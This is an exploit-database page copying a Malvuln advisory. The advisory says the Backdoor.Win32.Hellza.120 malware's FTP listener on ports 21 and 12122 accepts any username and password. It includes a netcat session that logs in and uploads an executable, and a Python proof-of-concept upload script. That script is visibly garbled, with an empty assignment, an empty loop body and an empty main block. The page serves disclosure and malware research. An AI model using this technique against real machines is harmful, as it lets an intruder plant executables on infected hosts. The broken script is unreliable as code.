Backdoor.Win32.Hellza.120 / Authentication Bypass

CVE Category Price Severity
N/A CWE-XX $500 High
Author Risk Exploitation Type Date
Unknown High Remote 2022-09-20

CVSS vector description

Our sensors found this exploit at:

Below is a copy:

Backdoor.Win32.Hellza.120 / Authentication Bypass
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source:
Contact: [email protected]

Threat: Backdoor.Win32.Hellza.120
Vulnerability: Authentication Bypass
Description: The malware listens on TCP ports 12122, 21.  Third-party adversarys who can reach infected systems can logon using any username/password combination. Intruders may then upload executables using ftp PASV, STOR commands.
Family: Hellza
Type: PE32
MD5: 2cbd0fcf4d5fd5fb6c8014390efb0b21
Vuln ID: MVID-2022-0642
Dropped files: msdllsrv.exe
Disclosure: 09/19/2022 

C:\>nc64.exe 21
220 HellzAddiction FTP server.
USER malvuln
331 Password required for malvuln.
PASS malvuln
230 User malvuln logged in.
215 UNIX Type: L8 Internet Component Suite
227 Entering Passive Mode (192,168,18,125,219,186).
250 CWD command successful. "C:/" is current directory.
150 Opening data connection for DOOM_SM.exe.
226 File received ok

from socket import *


def doit():
    s=socket(AF_INET, SOCK_STREAM)
    s.connect((MALWARE_HOST, PORT))

    f = open(DOOM, "rb")
    EXE =

    while EXE:


    print("By Malvuln");

if __name__=="__main__":

Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) (TM).

Copyright ©2024 Exploitalert.

All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use.